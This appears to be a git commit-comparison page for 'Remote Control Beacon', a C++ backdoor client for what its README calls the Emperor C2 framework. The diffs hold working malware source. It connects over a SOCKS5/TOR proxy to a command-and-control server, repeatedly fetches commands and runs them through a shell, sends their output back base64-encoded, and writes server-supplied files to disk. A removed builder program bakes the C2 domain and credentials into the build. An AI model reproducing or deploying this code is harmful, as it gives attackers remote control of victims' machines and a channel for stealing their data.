Compare commits

...

10 Commits

Author SHA1 Message Date
jacobeva 66c0839d54
Added readme 2023-03-08 13:10:37 +00:00
jacobeva c8374f6c05
Remove commented code 2023-03-08 13:10:28 +00:00
jacobeva f08cc6849b
Modified binary destination 2023-03-08 12:55:12 +00:00
jacobeva c0a1c2316f
Removed MakeRCB 2023-03-08 12:47:47 +00:00
jacobeva 86fcada4ea
Removed bin 2023-03-08 12:44:55 +00:00
jacobeva 32816bfde3
Added gitignore 2023-03-08 12:43:26 +00:00
elimin8 4d8a8cd0a4
Added bin directory for binaries 2022-06-13 22:07:19 +01:00
elimin8 120c8ca6d6
Added base64 encoding for data 2022-06-13 22:05:10 +01:00
elimin8 dd09aa8fed
Disabled pause on entry in debug 2022-06-13 22:04:26 +01:00
elimin8 f6c564f653
Added vimspector config 2022-03-04 08:28:30 +00:00
7 changed files with 94 additions and 52 deletions

1
.gitignore vendored Normal file
View File

@ -0,0 +1 @@
bin

19
.vimspector.json Normal file
View File

@ -0,0 +1,19 @@
{
"configurations": {
"Debug RCB": {
"adapter": "vscode-cpptools",
"configuration": {
"type": "cppdbg",
"request": "launch",
"program": "${workspaceRoot}/RCB",
"args": [
],
"cwd": "${workspaceRoot}",
"environment": [
],
"MIMode": "gdb"
}
}
}
}

BIN
MakeRCB

Binary file not shown.

View File

@ -1,27 +0,0 @@
#include <iostream>
#include <string>
int main()
{
std::string sUsername;
std::string sPassword;
std::string sC2Domain;
std::string sProxy;
std::cout << "Enter the username to be used by RCB: ";
std::cin >> sUsername;
std::cout << "Enter the password to be used by RCB: ";
std::cin >> sPassword;
std::cout << "Enter the C2 domain to be used by RCB: ";
std::cin >> sC2Domain;
std::cout << "Enter the socks5 proxy address to be used by RCB: ";
std::cin >> sProxy;
std::string sCommand = "sUsername=" + sUsername + " sPassword=" + sPassword + " sC2Domain=" + "http:/" + sC2Domain + " sProxy=" + "socks5h:/" + sProxy + " make"; // todo: figure out why this works and why // doesn't
const char *cCommand = sCommand.c_str(); // convert string to c string for running as command
system(cCommand); // run the make command with environment variables
}

BIN
RCB

Binary file not shown.

90
RCB.cpp
View File

@ -1,6 +1,7 @@
#include <curl/curl.h> #include <curl/curl.h>
#include <unistd.h> #include <unistd.h>
#include <array>
#include <fstream> #include <fstream>
#include <iostream> #include <iostream>
#include <regex> #include <regex>
@ -24,15 +25,61 @@ size_t writeCallback(void *contents, size_t size, size_t nmemb, std::string *s)
return newLength; return newLength;
} }
std::string encodeTriplet(std::uint8_t iByte1, std::uint8_t iByte2, std::uint8_t iByte3)
{
std::array<char, 64> encodeTable{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};
std::string sEncodedTriplet = "";
std::uint32_t combinedTriplet = (iByte1 << 16) | (iByte2 << 8) | iByte3;
sEncodedTriplet += encodeTable[combinedTriplet >> 18];
sEncodedTriplet += encodeTable[combinedTriplet >> 12 & 0x3F];
sEncodedTriplet += encodeTable[combinedTriplet >> 6 & 0x3F];
sEncodedTriplet += encodeTable[combinedTriplet & 0x3F];
return sEncodedTriplet;
}
std::string b64Encode(std::string sWriteData)
{
std::string sEncodedData = "";
std::string sEncodedBuffer;
while (sWriteData.length() > 0)
{
if (sWriteData.length() >= 3)
{
sEncodedData += encodeTriplet(sWriteData[0], sWriteData[1], sWriteData[2]);
sWriteData.erase(0, 3);
}
else if (sWriteData.length() == 2)
{
sEncodedBuffer = encodeTriplet(sWriteData[0], sWriteData[1], '0');
sEncodedBuffer.replace(3, 1, "$");
sEncodedData += sEncodedBuffer;
sWriteData.erase();
}
else if (sWriteData.length() == 1)
{
sEncodedBuffer = encodeTriplet(sWriteData[0], '0', '0');
sEncodedBuffer.replace(2, 2, "$$");
sEncodedData += sEncodedBuffer;
sWriteData.erase();
}
}
return sEncodedData;
}
std::string sendData(std::string sParam1, std::string sValue1, std::string sParam2 = "", std::string sValue2 = "") std::string sendData(std::string sParam1, std::string sValue1, std::string sParam2 = "", std::string sValue2 = "")
{ {
CURL *curl; CURL *curl;
CURLcode res; CURLcode res;
std::string sReadData; std::string sReadData;
sValue1 = b64Encode(sValue1);
std::string sWriteData = sParam1 + "=" + sValue1; std::string sWriteData = sParam1 + "=" + sValue1;
if (sParam2 != "") if (sParam2 != "")
{ {
sValue2 = b64Encode(sValue2);
sWriteData = sWriteData + "&" + sParam2 + "=" + sValue2; sWriteData = sWriteData + "&" + sParam2 + "=" + sValue2;
} }
@ -40,18 +87,18 @@ std::string sendData(std::string sParam1, std::string sValue1, std::string sPara
if (curl) if (curl)
{ {
curl_easy_setopt(curl, CURLOPT_PROXY, STR(sProxy)); // set proxy to use curl_easy_setopt(curl, CURLOPT_PROXY, STR(sProxy)); // set proxy to use
curl_easy_setopt(curl, CURLOPT_URL, STR(sC2Domain)); // c2 domain to connect to curl_easy_setopt(curl, CURLOPT_URL, STR(sC2Domain)); // c2 domain to connect to
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); // http basic auth curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); // http basic auth
curl_easy_setopt(curl, CURLOPT_POST, 1L); // choose http post method curl_easy_setopt(curl, CURLOPT_POST, 1L); // choose http post method
curl_easy_setopt(curl, CURLOPT_USERNAME, STR(sUsername)); // set username for http auth curl_easy_setopt(curl, CURLOPT_USERNAME, STR(sUsername)); // set username for http auth
curl_easy_setopt(curl, CURLOPT_PASSWORD, STR(sPassword)); // set password for http auth curl_easy_setopt(curl, CURLOPT_PASSWORD, STR(sPassword)); // set password for http auth
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // write function for storing response curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // write function for storing response
//char *cWriteData = curl_easy_escape(curl, sWriteData.c_str(), sWriteData.length()); // char *cWriteData = curl_easy_escape(curl, sWriteData.c_str(), sWriteData.length());
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, sWriteData.length()); // set the post request field size curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, sWriteData.length()); // set the post request field size
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, sWriteData.c_str());//); // choose the data to send in the post request curl_easy_setopt(curl, CURLOPT_POSTFIELDS, sWriteData.c_str()); //); // choose the data to send in the post request
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &sReadData); // write the data to the writeCallback function curl_easy_setopt(curl, CURLOPT_WRITEDATA, &sReadData); // write the data to the writeCallback function
curl_easy_perform(curl); // run query curl_easy_perform(curl); // run query
} }
return sReadData; return sReadData;
} }
@ -87,7 +134,7 @@ int main()
while (true) while (true)
{ {
sResponse = sendData("msg", "reqcmd"); sResponse = sendData("msg", "reqcmd");
std::cout << sResponse << std::endl; std::cout << sResponse << std::endl;
if (std::regex_match(sResponse, rRun)) // if the server has provided us with a command to run if (std::regex_match(sResponse, rRun)) // if the server has provided us with a command to run
{ {
@ -113,14 +160,14 @@ int main()
std::string sOutput = exec(sData[1]); std::string sOutput = exec(sData[1]);
std::cout << sOutput; std::cout << sOutput;
sResponse = sendData("result", sOutput); // execute the command, saving the response to sResponse sResponse = sendData("result", sOutput); // execute the command, saving the response to sResponse
std::cout << sResponse << std::endl; std::cout << sResponse << std::endl;
while (true) while (true)
{ {
if (sResponse != sOk) // if server does not respond as expected if (sResponse != sOk) // if server does not respond as expected
{ {
sResponse = sendData("result", sOutput); // send returned data again sResponse = sendData("result", sOutput); // send returned data again
std::cout << sResponse << std::endl; std::cout << sResponse << std::endl;
} }
else else
{ {
@ -137,14 +184,7 @@ int main()
std::string sSplit; std::string sSplit;
for (int i = 0; i < sResponse.length(); i++) for (int i = 0; i < sResponse.length(); i++)
{ {
/*if (sResponse[i] == '\n' && bFilename == true) if (sResponse[i] == '=' || sResponse[i] == '&') // if we have reached the end of the parameter
{
sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands
sSplit = ""; // set sSplit to empty
bFilename = false;
}*/
if (sResponse[i] == '=' || sResponse[i] == '&') // if we have reached the end of the parameter
{ {
sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands
sSplit = ""; // set sSplit to empty sSplit = ""; // set sSplit to empty
@ -160,11 +200,11 @@ int main()
} }
} }
fFile.open(sData[1]); // open a file for writing with the filename provided fFile.open(sData[1]); // open a file for writing with the filename provided
if (fFile) if (fFile)
{ {
fFile << sData[3]; // write the content of the file fFile << sData[3]; // write the content of the file
std::cout << sendData("msg", "saved"); std::cout << sendData("msg", "saved");
} }
else else

9
README.md Executable file
View File

@ -0,0 +1,9 @@
# Remote Control Beacon
A client side Emperor C2 framework backdoor.
This backdoor can communicate with Emperor itself, and can perform the following functions:
* Connect to the server (via TOR through a configured FOB)
* Request and execute commands
* Upload and download files to and from the server
Most of the communications between the client and server are base64 encoded, but not encrypted. This means that the traffic, before reaching the FOB, is unencrypted. I was considering maybe adding RC4 encryption in the future :)